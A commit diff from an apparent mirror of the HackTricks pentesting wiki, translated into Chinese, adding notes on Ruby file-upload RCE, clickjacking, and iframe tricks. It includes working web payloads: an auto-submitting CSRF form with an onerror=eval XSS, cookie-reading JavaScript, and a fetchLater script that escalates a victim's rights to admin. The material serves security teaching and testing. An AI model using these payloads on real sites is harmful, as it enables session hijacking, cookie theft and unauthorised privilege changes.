mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
b3cc332de1
commit
ab2d9d7426
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 文件上传到 RCE
|
||||
|
||||
正如在 [这篇文章](https://www.offsec.com/blog/cve-2024-46986/) 中所解释的,将 `.rb` 文件上传到敏感目录,如 `config/initializers/`,可能导致 Ruby on Rails 应用程序中的远程代码执行 (RCE)。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -8,7 +8,7 @@
|
||||
|
||||
### 预填充表单技巧
|
||||
|
||||
有时可以在加载页面时使用 GET 参数**填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。
|
||||
有时可以在加载页面时**使用 GET 参数填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。
|
||||
|
||||
### 使用拖放填充表单
|
||||
|
||||
@ -91,12 +91,12 @@ background: #F00;
|
||||
|
||||
如果您已识别出一个**需要用户点击**某个元素以**触发**XSS的**XSS攻击**,并且该页面**易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\
|
||||
示例:\
|
||||
您在账户的某些私人细节中发现了一个**自我XSS**(只有您可以设置和读取的细节)。包含设置这些细节的**表单**的页面**易受** **点击劫持**,您可以用GET参数**预填充**该**表单**。\
|
||||
您在账户的某些私人细节中发现了**自我XSS**(只有您可以设置和读取的细节)。包含设置这些细节的**表单**的页面**易受** **点击劫持**,您可以用GET参数**预填充**该**表单**。\
|
||||
攻击者可以准备一个**点击劫持**攻击,通过**预填充**该页面的**表单**与**XSS有效载荷**,并**欺骗**用户**提交**表单。因此,**当表单被提交**且值被修改时,**用户将执行XSS**。
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
首先在[这篇文章](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)中解释,这种技术会要求受害者在特定位置的自定义页面上的一个按钮上双击,并利用mousedown和onclick事件之间的时间差在双击期间加载受害者页面,以便**受害者实际上点击了受害者页面中的一个合法按钮**。
|
||||
首先在[这篇文章](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)中解释,这种技术会要求受害者在特定位置的自定义页面上双击一个按钮,并利用mousedown和onclick事件之间的时间差在双击期间加载受害者页面,以便**受害者实际上点击了受害者页面中的合法按钮**。
|
||||
|
||||
一个示例可以在这个视频中看到:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
@ -119,14 +119,14 @@ background: #F00;
|
||||
然而,这些框架破坏脚本可能会被规避:
|
||||
|
||||
- **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏JavaScript支持来阻止这些脚本。
|
||||
- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置`sandbox`属性为`allow-forms`或`allow-scripts`值而不包含`allow-top-navigation`来中和框架破坏脚本。这防止了iframe验证它是否是顶层窗口,例如,
|
||||
- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置`allow-forms`或`allow-scripts`值而不带`allow-top-navigation`的`sandbox`属性来中和框架破坏脚本。这会阻止iframe验证它是否是顶层窗口,例如,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` 和 `allow-scripts` 值在禁用顶级导航的同时启用 iframe 内的操作。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
|
||||
`allow-forms` 和 `allow-scripts` 值允许在 iframe 内进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
|
||||
|
||||
### 服务器端防御
|
||||
|
||||
@ -141,7 +141,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
|
||||
#### 内容安全策略 (CSP) frame-ancestors 指令
|
||||
|
||||
**CSP 中的 `frame-ancestors` 指令** 是建议的 Clickjacking 保护方法:
|
||||
**CSP 中的 `frame-ancestors` 指令** 是防止 Clickjacking 的建议方法:
|
||||
|
||||
- `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny`。
|
||||
- `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin`。
|
||||
@ -179,7 +179,7 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
- 弃用:child-src 正在逐步被 frame-src 和 worker-src 取代。
|
||||
- 回退行为:如果 frame-src 缺失,则使用 child-src 作为框架的回退。如果两者都缺失,则使用 default-src。
|
||||
- 严格的源定义:在指令中仅包含受信任的源以防止利用。
|
||||
- 严格的源定义:在指令中仅包含可信源以防止利用。
|
||||
|
||||
#### JavaScript 框架破坏脚本
|
||||
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Iframes in XSS
|
||||
|
||||
有3种方式来指示iframe页面的内容:
|
||||
有三种方式来指示一个 iframe 页面内容:
|
||||
|
||||
- 通过`src`指示一个URL(该URL可以是跨源或同源)
|
||||
- 通过`src`使用`data:`协议指示内容
|
||||
- 通过`srcdoc`指示内容
|
||||
- 通过 `src` 指定一个 URL(该 URL 可以是跨源或同源)
|
||||
- 通过 `src` 使用 `data:` 协议指示内容
|
||||
- 通过 `srcdoc` 指示内容
|
||||
|
||||
**访问父变量和子变量**
|
||||
```html
|
||||
@ -45,12 +45,12 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
如果您通过 HTTP 服务器访问之前的 HTML(如 `python3 -m http.server`),您会注意到所有脚本都会被执行(因为没有 CSP 阻止它)。**父级将无法访问任何 iframe 内部的 `secret` 变量**,**只有 if2 和 if3(被视为同站)可以访问原始窗口中的 secret**。\
|
||||
如果您通过 HTTP 服务器(如 `python3 -m http.server`)访问之前的 HTML,您会注意到所有脚本都会被执行(因为没有 CSP 阻止它)。**父级将无法访问任何 iframe 内部的 `secret` 变量**,**只有 if2 和 if3(被视为同源)可以访问原始窗口中的 secret**。\
|
||||
请注意 if4 被认为具有 `null` 来源。
|
||||
|
||||
### 带 CSP 的 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 请注意,在以下绕过中,响应的 iframed 页面不包含任何阻止 JS 执行的 CSP 头。
|
||||
|
||||
`script-src` 的 `self` 值将不允许使用 `data:` 协议或 `srcdoc` 属性执行 JS 代码。\
|
||||
@ -76,12 +76,12 @@ id="if4"
|
||||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
</html>
|
||||
```
|
||||
注意到**之前的 CSP 仅允许执行内联脚本**。\
|
||||
注意,**之前的 CSP 仅允许执行内联脚本**。\
|
||||
然而,**只有 `if1` 和 `if2` 脚本将被执行,但只有 `if1` 能够访问父级秘密**。
|
||||
|
||||
.png>)
|
||||
|
||||
因此,如果您可以将 JS 文件上传到服务器并通过 iframe 加载,即使 `script-src 'none'`,也有可能**绕过 CSP**。这也可以**通过滥用同站 JSONP 端点来实现**。
|
||||
因此,如果您可以将 JS 文件上传到服务器并通过 iframe 加载,即使 `script-src 'none'`,也有可能**绕过 CSP**。这也**可能通过滥用同站 JSONP 端点来实现**。
|
||||
|
||||
您可以通过以下场景进行测试,即使在 `script-src 'none'` 的情况下也会窃取 cookie。只需运行应用程序并使用浏览器访问它:
|
||||
```python
|
||||
@ -117,24 +117,71 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
```
|
||||
### Iframe sandbox
|
||||
|
||||
iframe 中的内容可以通过使用 `sandbox` 属性受到额外限制。默认情况下,此属性不适用,这意味着没有限制。
|
||||
iframe 内的内容可以通过使用 `sandbox` 属性受到额外的限制。默认情况下,此属性不适用,这意味着没有限制。
|
||||
|
||||
使用时,`sandbox` 属性会施加几个限制:
|
||||
当使用时,`sandbox` 属性施加了几个限制:
|
||||
|
||||
- 内容被视为来自唯一来源。
|
||||
- 内容被视为来自一个独特的源。
|
||||
- 任何提交表单的尝试都被阻止。
|
||||
- 禁止执行脚本。
|
||||
- 禁用对某些 API 的访问。
|
||||
- 防止链接与其他浏览上下文交互。
|
||||
- 禁止通过 `<embed>`、`<object>`、`<applet>` 或类似标签使用插件。
|
||||
- 不允许通过 `<embed>`、`<object>`、`<applet>` 或类似标签使用插件。
|
||||
- 防止内容自身导航到其顶级浏览上下文。
|
||||
- 自动触发的功能,如视频播放或表单控件的自动聚焦,被阻止。
|
||||
|
||||
属性的值可以留空(`sandbox=""`)以应用上述所有限制。或者,可以设置为以空格分隔的特定值列表,以使 iframe 免于某些限制。
|
||||
属性的值可以留空(`sandbox=""`)以应用上述所有限制。或者,可以设置为一个以空格分隔的特定值列表,以使 iframe 免于某些限制。
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
## SOP中的Iframes
|
||||
### Credentialless iframes
|
||||
|
||||
正如在 [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) 中所解释的,iframe 中的 `credentialless` 标志用于在不发送凭据的请求下加载页面,同时保持加载页面在 iframe 中的同源策略 (SOP)。
|
||||
|
||||
这允许 iframe 访问来自同一 SOP 中在父页面加载的另一个 iframe 的敏感信息:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- 利用示例:Self-XSS + CSRF
|
||||
|
||||
在此攻击中,攻击者准备了一个包含两个 iframe 的恶意网页:
|
||||
|
||||
- 一个加载受害者页面的 iframe,带有 `credentialless` 标志,并且有一个触发 XSS 的 CSRF(想象一下用户的用户名中有 Self-XSS):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- 另一个 iframe 实际上已经登录用户(没有 `credentialless` 标志)。
|
||||
|
||||
然后,从 XSS 中可以访问另一个 iframe,因为它们具有相同的 SOP,并通过执行来窃取 cookie:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater 攻击
|
||||
|
||||
正如[这篇文章](https://blog.slonser.info/posts/make-self-xss-great-again/)中所述,API `fetchLater` 允许配置请求在稍后执行(在一定时间后)。因此,这可以被滥用,例如,在攻击者的会话中登录受害者(使用 Self-XSS),设置一个 `fetchLater` 请求(例如更改当前用户的密码)并从攻击者的会话中注销。然后,受害者在自己的会话中登录,`fetchLater` 请求将被执行,将受害者的密码更改为攻击者设置的密码。
|
||||
|
||||
这样,即使受害者的 URL 不能在 iframe 中加载(由于 CSP 或其他限制),攻击者仍然可以在受害者的会话中执行请求。
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes 在 SOP 中
|
||||
|
||||
检查以下页面:
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user